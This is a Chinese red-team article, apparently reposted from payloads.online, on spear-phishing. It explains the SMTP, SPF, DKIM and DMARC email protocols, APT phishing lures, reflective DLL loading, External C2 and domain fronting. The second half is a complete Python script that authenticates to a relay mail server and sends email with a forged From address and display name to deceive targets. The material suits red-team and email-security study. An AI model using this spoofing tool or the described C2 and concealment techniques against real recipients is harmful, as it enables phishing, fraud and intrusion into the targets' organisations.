红队行动之鱼叉攻击-研究分享
《红队行动之鱼叉攻击》围绕着SMTP协议展开,为大家介绍SMTP相关的安全协议,同时会讲解鱼叉攻击的整体过程,以及模拟APT报告进行自动化、武器化的设计。在讲解的过程中,核心围绕Domain-Fron 2020-2-5 00:0:0 Author: payloads.online(查看原文) 阅读量:0 收藏

《红队行动之鱼叉攻击》围绕着SMTP协议展开,为大家介绍SMTP相关的安全协议,同时会讲解鱼叉攻击的整体过程,以及模拟APT报告进行自动化、武器化的设计。在讲解的过程中,核心围绕Domain-Fronting和External C2这两类红队较为关注的技术,穿插一些HTTP协议相关的基础知识和木马的编写构建。

为大家分享SMTP协议相关的基础知识,使大家对邮件安全有一定了解,对未来可能遇到的邮件安全相关问题做一个知识储备,同时也更希望能让大家感受火热的技术氛围,热爱红队、热爱研究,不断攻克工作中遇到的难题。

穷奇组织是一个对我国持续攻击时间长达数十年的老牌APT组织,该组织的攻击活动在2015年左右达到高峰,之后的活动慢慢减少,2019年以来该组织活动减少了很多,攻击频次和攻击范围都大大缩小,但其依然保持活动,如2019年3月份,该组织就使用编号为CVE-2018-20250的WinRAR ACE漏洞向中国大陆数十个重点目标投递了多个RAT木马。投递的RAT木马核心与3年前的版本相比除了配置信息外并未发现新的功能性更新,由此也可印证该组织的活跃度确实在下降。

其攻击的目标众多且广泛,包括政府部门、大型国企、金融机构、科研机构以及部分重要的私营企业等。该组织攻击人员非常熟悉我国,对我国的时事、新闻热点、政府结构等都非常熟悉,如刚出个税改革时候,就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。

通常情况下,黑客通过投递邮件到目标邮件服务器,受害者接收后,经受邮件的诱惑、欺骗,会尝试运行邮件附带的木马,最后进入模块化加载的过程。其中,APT组织在木马模块化的构建过程中,会采用穿插多种复杂的技术以及文件格式,涉及加密解密、Shellcode隐写混淆、反射DLL加载、DLL注入、系统特性等。

经历过木马模块化的过程后,转而进入C2环节,“C2环节占了红队的大部分工作周期”,通过C2环节来横向攻击,对目标进行长期的摸排,寻找数据再进而获取数据,这就是整个红队鱼叉的过程。

发件人策略框架(Sender Policy Framework , SPF)是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。

DKIM是为了防止电子邮件欺诈的一种技术,同样依赖于DNS的TXT记录类型。这个技术需要将发件方公钥写入域名的TXT记录,收件方收到邮件后,通过查询发件方DNS记录找到公钥,来解密邮件内容。

DMARC(Domain-based Message Authentication, Reporting & Conformance)是txt记录中的一种,是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,其核心思想是邮件的发送方通过特定方式(DNS)公开表明自己会用到的发件服务器(SPF)、并对发出的邮件内容进行签名(DKIM),而邮件的接收方则检查收到的邮件是否来自发送方授权过的服务器并核对签名是否有效。对于未通过前述检查的邮件,接收方则按照发送方指定的策略进行处理,如直接投入垃圾箱或拒收。

以HTTP协议举例,HTTP协议中有状态码的概念,用于表示当前请求与响应的状态,通过状态码可以定位可能的问题所在,SMTP与HTTP非常相似,都是明文协议。早期SMTP协议的开发初衷是为了解决一个大学中实验室成员进行通信、留言的问题,但随着互联网的发展,SMTP的应用越来越广泛。

修改From后的邮件会经过邮件网关的检查并且符合邮件服务器配置的安全协议,最终到达邮件客户端。其中邮件客户端可以是浏览器、也可以是邮件客户端软件,一般情况下,邮件客户端是不具备邮件安全协议验证的,因此在客户端会解析成正常邮件。

首先来说邮件服务器,我们可以搭建一个支持SPF、DKIM的邮件服务器,但是搭建起来太麻烦了,是否有符合我们需要的现成的邮件服务器呢?这里可以选择一些免费的企业邮箱服务器,它们的宽容度足够高。宽容度指的是:对垃圾邮件的处理、对邮件安全协议的兼容程度比较高。当邮件服务器接收或者发送一封邮件时,会检查邮件内容,同时收到邮件后,会检测是否支持SPF、DKIM、DMARC,这三者可能大多数发送方邮件服务器都不满足,因此会着重检测SPF,由此说来,SPF是比较重要的一个邮件安全协议且我们仅仅支持SPF、DKIM即可。

项目背景:Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。

爱折腾的程序员自己也想实现这个过程,那就是反射,这个反射机制就是将Windows PE格式通过自己的程序代码进行解析,并把不同的节数据加载到对应的内存中,通常这个反射加载技术被很多APT组织、大型渗透框架、病毒作者、游戏厂商使用比较广泛。

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

我编译选项调整为requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过UAC了.

当客户端请求到控制器后,控制器将会向External C2去请求Stage,这个Stage就是一个DLL文件,将DLL文件拿到客户端内存中后,申请可执行内存页,创建线程即可运行,其中,这个DLL是使用了反射DLL加载技术.

域前置技术(Domain-Fronting)是一个能够利用CDN识别域名进行转发流量的特性来隐藏命令控制(Command & Control ,C&C)的一种技术。

CDN,内容分发网络(Content Delivery Network,CDN)通过将站点内容发布至遍布全国的海量加速节点,使其用户可就近获取所需内容,避免网络拥堵、地域、运营商等因素带来的访问延迟问题,有效提升下载速度、降低响应时间,提供流畅的用户体验。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/python
"""
@Rvn0xsy - 鱼叉自动化脚本

该脚本需要一个邮件服务器用来Relay,其次需要一个邮件正文eml文件用于发送,邮件服务器需要满足以下条件:

1.支持转发
2.SPF
3.DKIM

格式解释:
'=?UTF-8?B?这里是BASE64编码?='

B = Base64

其中eml文件需要去除Header部分,脚本负责重构。


Example >

$ python .\smtp-relay.py -f <发送邮箱> -t <目标邮箱> -u <邮箱用户名> -p <邮箱密码> -r <伪造对象> --relay_name <伪造对象名称> --subject <邮件标题> -b <邮件正文文件>
~\Desktop> python .\smtp-relay.py -f [email protected] -t [email protected] -u user -p XXX -r [email protected] --relay_name 二维码科技 --subject 测试 -b .\send.eml
2019-07-24 22:39:50,861 - .\smtp-relay.py[line:80] - INFO: 235 Authentication successful
2019-07-24 22:39:53,979 - .\smtp-relay.py[line:52] - INFO: 250 Data Ok
2019-07-24 22:39:53,983 - .\smtp-relay.py[line:87] - INFO: QUIT

PS: DATA内容就是eml文件

============<Header>============
Date: Wed, 24 Jul 2019 15:47:10 +0800 (CST)
From: =?UTF-8?B?xxx?= xxx
To: xxx
Subject: =?UTF-8?B?xxx?=
============</Header>============

============<DATA>============

X-Mailer: Server Version 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_65_550351629.1563948317509"
MIME-Version: 1.0
Message-ID: <7a422a.12.16c22957b47.xxx>
Date: Wed, 24 Jul 2019 15:47:10 +0800 (CST)

------=_Part_65_550351629.1563948317509
Content-Type: multipart/alternative; 
	boundary="----=_Part_67_1156720723.1563948317510"

------=_Part_67_1156720723.1563948317510
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64

5L2g5Lus5aW95qOS77yB5Yqg5rK577yB

------=_Part_67_1156720723.1563948317510

============</DATA>============
"""
import telnetlib
import time
import logging
import base64
import argparse

logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)

class SMTPClient():
    def __init__(self,):
        self.mail_from = ''
        self.mail_to = []
        self.send_data = ''
        self.mail_header = ''
        self.tn = telnetlib.Telnet()
    def set_mail_header(self,mail_subject,mail_relay,mail_relay_name):
        now_date = time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)", time.localtime())
        self.mail_header = "Date: {}\r\nFrom: =?UTF-8?B?{}?= <{}>\r\nTo: {}\r\nSubject: =?UTF-8?B?{}?=\r\n".format(now_date,
            base64.b64encode(mail_relay_name.encode()).decode(),
            mail_relay,
            self.mail_to[0],base64.b64encode(mail_subject.encode()).decode())
        
    def set_mail(self,mail_from,mail_to,send_body):
        self.mail_from = mail_from
        self.mail_to = mail_to
        with open(send_body, "rb") as f_body:
            self.send_data = f_body.read()
        f_body.close()
    def send_ehlo(self, content):
        self.tn.write(content.encode())

    def send_mail(self):
        mail_from = "MAIL FROM:<%s>" % self.mail_from
        logging.info(mail_from)
        # 250 Mail Ok
        self.tn.write(mail_from.encode() + b'\r\n')
        self.tn.read_until(b"250 Mail Ok\r\n",timeout=3)
        logging.info("250 Mail Ok")
        
        for mail in self.mail_to:
            mail_rpct = "RCPT TO:<%s>" % mail
            self.tn.write(mail_rpct.encode() + b'\r\n')
            self.tn.read_until(b"250 Rcpt Ok\r\n",timeout=3)
            logging.info(mail_rpct)
        # 250 Rcpt Ok
        self.tn.write(b'DATA\n')
        self.tn.read_until(b"354 End data with <CR><LF>.<CR><LF>\r\n",timeout=3)
        # 354 End data with <CR><LF>.<CR><LF>
        send_all = self.mail_header.encode()+self.send_data+b"\r\n.\r\n"
        # self.tn.write(self.mail_header.encode()+b"\r\n")
        # self.tn.write(self.send_data+b"\r\n.\r\n")
        self.tn.write(send_all)
        # 250 Data Ok: queued as freedom
        self.tn.read_until(b"250 Data Ok: queued as freedom\r\n",timeout=3)
        logging.info("250 Data Ok")
    def login_host(self,host_ip,username,password):
        try:
            self.tn.open(host_ip,port=25)
        except:
            logging.warning('%s Connect Error..'%host_ip)
            return False
        self.send_ehlo("EHLO virtual-machine\r\n")
        # 250-smtp.aliyun-inc.com
        # 250-STARTTLS
        # 250-8BITMIME
        # 250-AUTH=PLAIN LOGIN XALIOAUTH
        # 250-AUTH PLAIN LOGIN XALIOAUTH
        # 250-PIPELINING
        # 250 DSN
        self.tn.read_until(b"250-smtp.aliyun-inc.com\r\n",timeout=3)
        self.tn.read_until(b"250-STARTTLS\r\n",timeout=3)
        self.tn.read_until(b"250-8BITMIME\r\n",timeout=3)
        self.tn.read_until(b"250-AUTH=PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
        self.tn.read_until(b"250-AUTH PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
        self.tn.read_until(b"250-PIPELINING\r\n",timeout=3)
        self.tn.read_until(b"250 DSN\r\n",timeout=3)
        self.tn.write(b"AUTH LOGIN\r\n")
        self.tn.read_until(b"334 dXNlcm5hbWU6\r\n",timeout=3)
        self.tn.write(base64.b64encode(username.encode()) + b'\r\n')
        self.tn.read_until(b"334 UGFzc3dvcmQ6\r\n",timeout=3)
        self.tn.write(base64.b64encode(password.encode()) + b'\r\n')
        self.tn.read_until(b"235 Authentication successful\r\n",timeout=3)
        logging.info("235 Authentication successful")
        return True

    def logout_host(self):
        self.tn.write(b"QUIT\r\n")
        self.tn.read_until(b"221 Bye\r\n",timeout=3)
        self.tn.close()
        logging.info("QUIT")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.description = "AMAIL SMTP Relay Client - Version 1.0"
    parser.add_argument("-f","--mail_from",type=str,help="Mail From",required = True)
    parser.add_argument("-t","--mail_to",type=str,help="Mail To",required = True)
    parser.add_argument("-u","--username",type=str,help="SMTP Username",required = True)
    parser.add_argument("-p","--password",type=str,help="SMTP Password",required = True)
    parser.add_argument("-s","--server",type=str,help="SMTP Server", default="smtp.mxhichina.com")
    parser.add_argument("-b","--body",type=str,help="Mail Body", required = True)
    parser.add_argument("-r","--relay",type=str,help="Mail Relay To", required = True)
    parser.add_argument("--relay_name",type=str,help="Mail Relay To Name", required = True)
    parser.add_argument("--subject",type=str,help="Mail Subject", required = True)
    args = parser.parse_args()
    
    smtp_client = SMTPClient()

    if smtp_client.login_host(args.server,args.username,args.password):
        smtp_client.set_mail(args.mail_from,args.mail_to.split(","),args.body)
        smtp_client.set_mail_header(args.subject,args.relay,args.relay_name)
        smtp_client.send_mail()
        smtp_client.logout_host()

文章来源: https://payloads.online/archivers/2020-02-05/1/
如有侵权请联系:admin#unsafe.sh